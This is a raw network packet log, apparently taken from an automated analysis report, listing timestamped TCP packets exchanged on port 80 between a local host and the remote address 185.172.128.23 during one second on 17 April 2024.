Apr 17, 2024 09:17:12.713721991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.713757992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.713773012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.713794947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.713803053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.713831902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.713867903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.713877916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.713902950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.713905096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.713960886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.713980913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714018106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714025021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714056969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714062929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714093924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714112043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714142084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714148045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714191914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714366913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714416981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714457035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714497089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714531898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714541912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714569092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714576960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714606047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714612961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714643955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714649916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714680910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714688063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714721918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714725971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714760065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714792013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714796066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714806080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714833021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714840889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714869022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714880943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714905024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714909077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714941978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714950085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.714979887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.714988947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.715024948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.715055943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.715092897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.715128899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.715137005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.715168953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.715173006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.715205908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.715213060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.715249062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.725923061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.726042986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.735392094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.735464096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773360014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773428917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773617029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773654938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773672104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773695946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773718119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773761034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773788929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773827076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773830891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773863077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773868084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773899078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773906946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773936033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773941040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.773972988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.773977041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.774010897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.774019003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.774049997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776287079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776324034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776369095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776397943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776530027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776566982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776573896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776608944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776613951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776653051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776668072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776704073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776742935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776746988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776782990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776812077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776848078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776858091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776885033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776887894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776921034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.776928902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.776978970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777015924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777019978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777054071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777057886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777095079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777183056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777221918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777259111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777264118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777299881 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777365923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777403116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777410030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777439117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777445078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777482033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777544975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777591944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777633905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777651072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777687073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777692080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777723074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777728081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777775049 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777797937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777837992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777858973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777895927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777906895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777931929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777936935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.777968884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.777970076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778004885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778004885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778044939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778045893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778081894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778084993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778119087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778120995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778161049 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778161049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778230906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778274059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778275967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778318882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778321981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778362989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778444052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778480053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778515100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778522015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778549910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778553963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778585911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778588057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778635025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778702974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778740883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778749943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778778076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778780937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778814077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778817892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778848886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778851032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778886080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778892040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778922081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778951883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.778958082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.778961897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779000998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779038906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779058933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779074907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779083967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779112101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779118061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779146910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779154062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779185057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779191971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779222012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779237032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779258013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779262066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779295921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779313087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779330969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779346943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779367924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779372931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779403925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779407978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779441118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779444933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779475927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779483080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779514074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779517889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779550076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779551983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779587984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779592037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779624939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779632092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779660940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779666901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779697895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779735088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.779737949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.779776096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.784250975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.784354925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.811168909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.811367035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821352959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821393967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821433067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821464062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821474075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821496964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821512938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821521044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821552038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821556091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821590900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821595907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821635008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821780920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821824074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821877003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821914911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821922064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.821953058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.821959972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.822000980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824152946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824209929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824218035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824276924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824300051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824337959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824343920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824382067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824435949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824477911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824515104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824553967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824559927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824592113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824595928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824629068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824630976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824666977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824667931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824704885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824707031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824742079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824743032 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824779987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824779987 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824815989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824816942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824853897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.824853897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.824894905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.840320110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.840374947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.853015900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.853068113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.853076935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.853110075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.853121996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.853148937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.853157997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.853233099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.854479074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.854528904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.854561090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.854581118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855073929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855117083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855154991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855156898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855185986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855195045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855210066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855242014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855326891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855366945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855379105 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855415106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855418921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855475903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855513096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855518103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855550051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855560064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855587959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855588913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855624914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855632067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855664968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855668068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855701923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855705023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855739117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855745077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855776072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855782986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855813980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.855818987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.855864048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.874521017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.874582052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.874591112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.874624968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.919181108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.919245958 CEST	80	49704	185.172.128.23	192.168.2.5
